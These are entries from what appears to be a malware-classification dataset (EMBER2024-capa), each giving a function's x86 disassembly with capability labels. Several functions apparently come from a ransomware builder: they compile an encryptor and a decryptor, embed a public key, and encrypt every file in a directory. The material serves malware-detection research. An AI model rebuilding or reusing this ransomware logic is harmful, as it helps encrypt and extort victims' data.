joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f4aa
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42d480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040a078
and dword [ebp - 0x14], 0
cmp dword [0x44545c], 0
mov dword [ebp - 0x18], eax
jne 0x40f55d
push 0x4036c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40f605
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4036b4
push ebx
call edi
test eax, eax
je 0x40f605
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4036a4
push ebx
mov dword [0x44545c], eax
call edi
push eax
call esi
push 0x403690
push ebx
mov dword [0x445460], eax
call edi
push eax
call esi
push 0x403674
push ebx
mov dword [0x445464], eax
call edi
push eax
call esi
mov dword [0x44546c], eax
test eax, eax
je 0x40f55d
push 0x40365c
push ebx
call edi
push eax
call esi
mov dword [0x445468], eax
mov eax, dword [0x445468]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40f5b6
cmp dword [0x44546c], ecx
je 0x40f5b6
push eax
call esi
push dword [0x44546c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40f5b6
test ebx, ebx
je 0x40f5b6
call edi
test eax, eax
je 0x40f5ad
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40f5ad
test byte [ebp - 8], 1
jne 0x40f5b6
or dword [ebp + 0x10], 0x200000
jmp 0x40f5e9
mov eax, dword [0x445460]
cmp eax, dword [ebp - 0x18]
je 0x40f5e9
push eax
call esi
test eax, eax
je 0x40f5e9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40f5e9
mov eax, dword [0x445464]
cmp eax, dword [ebp - 0x18]
je 0x40f5e9
push eax
call esi
test eax, eax
je 0x40f5e9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44545c]
call esi
test eax, eax
je 0x40f605
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40f607
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6ce
leave
ret
Function at 0x401efd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp], str.Embedding_public_key.
call sym._LogToFile
mov dword [esp + 4], 0x40d2a7
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401f66
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_open_public_key_file_for_embedding.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp], str.Failed_to_open_public_key_file_for_embedding.
call sym._LogToFile
jmp 0x4020e3
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401fda
mov dword [esp], str.Failed_to_allocate_memory_for_public_key.
call sym._LogToFile
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x4020e3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x14]
cmp eax, 0x1000
jbe 0x402015
mov eax, 0x1000
mov dword [0x412020], eax
mov eax, dword [0x412020]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x411020
call sym._memcpy
mov dword [esp], str.Public_key_data:
call sym._LogToFile
mov dword [ebp - 0xc], 0
jmp 0x40208d
mov eax, dword [ebp - 0xc]
add eax, 0x411020
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._02X
mov dword [esp + 4], 0xa
lea eax, [ebp - 0x122]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x122]
mov dword [esp], eax
call sym._LogToFile
add dword [ebp - 0xc], 1
mov eax, dword [0x412020]
cmp dword [ebp - 0xc], eax
jb 0x40204b
mov eax, dword [0x412020]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Public_key_size_embedded:__lu_bytes
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._LogToFile
mov dword [esp], str.Public_key_embedded_successfully.
call sym._LogToFile
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
leave
ret
Function at 0x4020e5
Capabilities:
Check if file exists
Execute command
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.gcc_ransomware_builder.c__o___s___lkernel32__lcrypt32__lcomdlg32__DENCRYPTOR_MODE
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [esp], str.Compiling_encryptor_with_command:
call sym._LogToFile
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._LogToFile
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.System_command_result:__d
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x310]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x310]
mov dword [esp], eax
call sym._LogToFile
cmp dword [ebp - 0xc], 0
je 0x402198
mov dword [esp + 4], str.Error_creating_encryptor._Check_compilation_errors.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.Error_creating_encryptor._Check_compilation_errors.
call sym._LogToFile
jmp 0x4021f9
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileAttributesA_4
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x4021da
mov eax, dword [ebp - 0x10]
and eax, 0x10
test eax, eax
jne 0x4021da
mov dword [esp + 4], str.Encryptor_created_successfully.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.Encryptor_created_successfully.
call sym._LogToFile
jmp 0x4021f9
mov dword [esp + 4], str.Encryptor_file_not_found_after_compilation.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.Encryptor_file_not_found_after_compilation.
call sym._LogToFile
nop
leave
ret
Function at 0x4021fc
Capabilities:
Check if file exists
Execute command
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._SelectKeyFile
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402353
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.gcc_ransomware_builder.c__o___s___lcrypt32__lcomdlg32__DDECRYPTOR_MODE
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [esp], str.Compiling_decryptor_with_command:
call sym._LogToFile
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._LogToFile
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.System_command_result:__d
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x314]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x314]
mov dword [esp], eax
call sym._LogToFile
cmp dword [ebp - 0x10], 0
je 0x4022ca
mov dword [esp + 4], str.Error_creating_decryptor._Check_compilation_errors.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.Error_creating_decryptor._Check_compilation_errors.
call sym._LogToFile
jmp 0x402398
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileAttributesA_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x402332
mov eax, dword [ebp - 0x14]
and eax, 0x10
test eax, eax
jne 0x402332
mov dword [esp + 4], str.Decryptor_created_successfully.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.Decryptor_created_successfully.
call sym._LogToFile
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Success
mov dword [esp + 4], str.Decryptor_created_successfully.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x402398
mov dword [esp + 4], str.Decryptor_file_not_found_after_compilation.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.Decryptor_file_not_found_after_compilation.
call sym._LogToFile
jmp 0x402398
mov dword [esp + 4], str.No_key_file_selected._Decryptor_not_created.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._LogMessage
mov dword [esp], str.No_key_file_selected._Decryptor_not_created.
call sym._LogToFile
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.No_key_file_selected._Decryptor_not_created.
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._MessageBoxA_16
sub esp, 0x10
nop
leave
ret
Function at 0x402a78
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402adb
mov dword [esp], str.Failed_to_open_directory.
call sym._LogToFile
jmp 0x402b60
mov eax, dword [ebp - 0x250]
and eax, 0x10
test eax, eax
jne 0x402b36
lea eax, [ebp - 0x250]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x354]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x354]
mov dword [esp], eax
call sym._MyEncryptFile
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x402adb
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret

Function at 0x402b62
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402bc2
mov dword [esp], str.Failed_to_open_directory.
call sym._LogToFile
jmp 0x402c40
mov eax, dword [ebp - 0x250]
and eax, 0x10
test eax, eax
jne 0x402c16
lea eax, [ebp - 0x250]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x354]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x354]
mov dword [esp], eax
call sym._MyDecryptFile
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x402bc2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret
Function at 0x403c30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x412184
call sym._EnterCriticalSection_4
mov ebx, dword [0x41217c]
sub esp, 4
test ebx, ebx
je 0x403c7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403c74
test esi, esi
je 0x403c74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403c50
mov dword [esp], 0x412184
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403e60
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403f88
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x403eee
cmp eax, 4
jne 0x403f10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x403efe
cmp edx, 4
je 0x403efe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403e60
Function at 0x407820
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x87ff00]
and eax, 0xffff
imul eax, eax, 0x724
push ebx
push ebp
mov bp, word [esp + 0xc]
push esi
add eax, dword [ecx + 0x34]
push edi
mov esi, eax
xor eax, eax
mov ecx, 0xb
mov edi, edx
rep stosd dword es:[edi], eax
mov al, byte [esi + 0x160]
xor bl, bl
test al, al
jne 0x4078da
mov al, byte [esi + 6]
test al, al
jne 0x4078da
mov eax, dword [esi + 0x34]
cmp eax, 0xffffffff
je 0x4078da
cmp bp, 0xffff
je 0x4078da
mov ecx, dword [0x746eac]
mov edi, dword [ecx + 0x430]
and eax, 0xffff
imul eax, eax, 0xb0
mov eax, dword [eax + edi + 0x9c]
movsx ecx, bp
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*8]
mov cl, byte [esp + 0x18]
mov byte [edx + 4], cl
mov word [edx + 0xa], bp
mov ecx, 1
mov word [edx + 8], cx
mov ebx, eax
mov ebp, dword [ebx]
lea edi, [edx + 0x14]
mov dword [edi], ebp
mov ebp, dword [ebx + 4]
mov dword [edi + 4], ebp
mov ebx, dword [ebx + 8]
mov dword [edi + 8], ebx
mov edi, dword [eax + 0x14]
mov dword [edx + 0x10], edi
mov ax, word [eax + 0xe]
pop edi
mov word [edx + 0xc], ax
mov byte [esi + 0x98], cl
pop esi
pop ebp
mov al, cl
pop ebx
ret
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
ret
Function at 0x412960
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x100ec
call fcn.00628480
mov eax, dword [0x87ff00]
mov ecx, dword [eax + 0x34]
mov eax, dword [0x87b7b4]
push ebx
mov ebx, edx
and ebx, 0xffff
imul ebx, ebx, 0x724
add ebx, ecx
mov ecx, dword [ebx + 0x58]
and ecx, 0xffff
shl ecx, 5
mov ecx, dword [ecx + eax + 0x14]
mov dword [esp + 8], ecx
mov cl, byte [ebx + 0x99]
push esi
xor al, al
test cl, cl
push edi
jne 0x4129ba
cmp dword [ebp + 0xc], 0xffffffff
je 0x412b8b
mov ecx, dword [ebx + 0x34]
cmp ecx, 0xffffffff
je 0x412b8b
mov eax, dword [0x746eac]
mov edi, dword [eax + 0x430]
and ecx, 0xffff
imul ecx, ecx, 0xb0
add ecx, edi
mov edi, ecx
mov ecx, dword [ebp + 0x10]
push ecx
xor esi, esi
mov eax, edx
mov dword [esp + 0x18], edi
call fcn.00412880
mov dword [esp + 0x1c], eax
mov al, byte [ebx + 0x99]
add esp, 4
test al, al
jne 0x412aa2
mov edx, dword [esp + 0x10]
xor eax, eax
mov ecx, 0x12
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov eax, dword [edx + 0x8c]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [esp + 0x20], eax
or eax, 0xffffffff
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ecx + 8]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ecx
xor eax, eax
mov dword [esp + 0x34], edx
mov edx, dword [ebp + 0xc]
mov ecx, 0x4023
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
mov eax, dword [0x746ebc]
mov dword [esp + 0xcc], eax
mov dword [esp + 0x40], edx
mov ecx, 0x12
lea esi, [esp + 0x20]
lea edi, [esp + 0x68]
mov byte [esp + 0x24], 1
mov byte [esp + 0x30], 1
mov byte [esp + 0x60], 1
mov dword [esp + 0x64], 0x40800000
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x68]
mov dword [esp + 0xb0], 0
call fcn.0043a8b0
mov edi, dword [esp + 0x14]
mov ecx, dword [edi + 0x98]
xor eax, eax
cmp ecx, eax
mov dword [esp + 0x10], eax
jle 0x412b89
jmp 0x412ac0
mov edx, dword [edi + 0x9c]
lea ecx, [eax + eax*2]
lea edx, [edx + ecx*8]
mov cl, byte [edx + 0xc]
mov eax, 1
shl eax, cl
mov ecx, dword [esp + 0x18]
test ecx, eax
je 0x412b6f
mov ecx, dword [ebp + 8]
fld dword [edx]
fsub dword [ecx]
fld dword [edx + 4]
fsub dword [ecx + 4]
fld dword [edx + 8]
fsub dword [ecx + 8]
fld st(0)
fmul st(1)
fld st(2)
fmul st(3)
faddp st(1)
fld st(3)
fmul st(4)
faddp st(1)
fcomp dword [0x672e24]
fstp st(0)
fnstsw ax
fstp st(0)
test ah, 5
fstp st(0)
jp 0x412b6f
mov al, byte [ebx + 0x99]
test al, al
push 0
je 0x412b43
mov eax, dword [0x746ebc]
push eax
xor esi, esi
mov eax, edx
call fcn.0043a0a0
add esp, 8
test al, al
je 0x412b6f
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edx + 0x14]
push 0
lea ecx, [esp + 0x24]
push ecx
push edx
lea edi, [esp + 0x78]
call fcn.0043a310
fld dword [esp + 0x2c]
fcomp dword [0x672c60]
add esp, 0x10
fnstsw ax
test ah, 5
jnp 0x412b3a
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov ecx, dword [edi + 0x98]
inc eax
mov dword [esp + 0x10], eax
movsx eax, ax
cmp eax, ecx
jl 0x412ac0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x440460
Capabilities:
Create thread
Resume thread

Disassembly:
push ecx
push ebx
mov bl, byte [esp + 0xc]
xor eax, eax
jmp 0x440470
mov cl, byte [eax*8 + 0x6f0bdc]
test cl, cl
je 0x440486
inc eax
cmp eax, 0x20
jl 0x440470
xor al, al
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push esi
lea esi, [eax*8 + 0x6f0bd8]
lea eax, [esp + 8]
push eax
push 4
push ecx
push edx
push 0x4000
push 0
mov dword [esi], 0
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], esi
mov eax, dword [esi]
test eax, eax
je 0x440503
xor ecx, ecx
test bl, 2
je 0x4404d0
or ecx, 0xffffffff
jmp 0x4404da
test bl, 4
je 0x4404da
mov ecx, 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
je 0x4404fa
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x4404fa
pop esi
mov al, 1
pop ebx
pop ecx
ret
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor al, al
pop ebx
pop ecx
ret

Function at 0x441530
Capabilities:
Create thread
Resolve dns
Terminate thread

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
push 0
push 0x6a3f68
push 0x441500
push 0x10400
push 0
mov dword [0x6f13f0], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x4415a5
push 0x2710
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x44157c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x6f13f0]
test eax, eax
je 0x4415a5
push 0x6a3f68
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [esp + 0xc]
mov dword [ecx], eax
mov eax, 1
pop esi
pop ecx
ret
xor eax, eax
pop esi
pop ecx
ret
Function at 0x4415b0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a8
mov eax, dword [0x719614]
push esi
xor esi, esi
test eax, eax
push edi
mov dword [esp + 0xc], 0
je 0x4415e1
mov byte [0x6869bc], 0
xor ax, ax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov al, byte [0x6869bc]
test al, al
jne 0x4416c0
xor eax, eax
mov word [esp + 0x20], 0
mov ecx, 0x63
lea edi, [esp + 0x22]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x20]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, eax
test si, si
jne 0x441694
mov eax, dword [0x6869b4]
test eax, eax
jne 0x44168f
lea ecx, [esp + 0xc]
push ecx
call fcn.00441530
add esp, 4
test eax, eax
jne 0x44163c
mov ax, 0xfff0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0xc]
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov cl, byte [eax]
mov dl, byte [eax + 1]
mov byte [esp + 0x15], dl
mov dl, byte [eax + 3]
mov byte [esp + 0x14], cl
mov cl, byte [eax + 2]
mov byte [esp + 0x17], dl
mov byte [esp + 0x16], cl
mov eax, dword [esp + 0x14]
mov ecx, eax
mov edx, eax
shr edx, 0x10
and ecx, 0xff0000
or ecx, edx
mov edx, eax
shl edx, 0x10
and eax, 0xff00
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov dword [0x6869b8], ecx
jmp 0x441694
mov dword [0x6869b8], eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x5775d0
push 0x10400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00449380
mov dword [0x6f13e4], eax
mov byte [0x6869bc], 1
pop edi
mov ax, si
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x442c80
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x104
push ebx
push edi
push eax
push str.maps_
push 0x6f1600
lea ecx, [esp + 0x18]
push str._s_s_s.map
push ecx
xor bl, bl
call fcn.006238e3
add esp, 0x14
push 0
push 0
push 3
push 0
push 1
push closesocket
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x442d76
push 0
lea eax, [esp + 0xc]
push eax
push 0x800
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x442d6f
cmp dword [esp + 8], 0x800
jne 0x442d6f
cmp dword [esi], 0x68656164
jne 0x442d61
cmp dword [esi + 0x7fc], 0x666f6f74
jne 0x442d61
mov eax, dword [esi + 8]
test eax, eax
jl 0x442d61
cmp eax, 0x18000000
jg 0x442d61
lea eax, [esi + 0x20]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x442d20
sub eax, edx
cmp eax, 0x1f
ja 0x442d61
cmp dword [esi + 4], 7
je 0x442d6d
lea ecx, [esp + 0xc]
mov dword [0x722ae4], ecx
push 1
push 0x7e
push 0x89
call fcn.0057eea0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, bl
pop ebx
add esp, 0x104
ret
lea edx, [esp + 0xc]
mov dword [0x722ae4], edx
jmp 0x442d3e
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, bl
pop ebx
add esp, 0x104
ret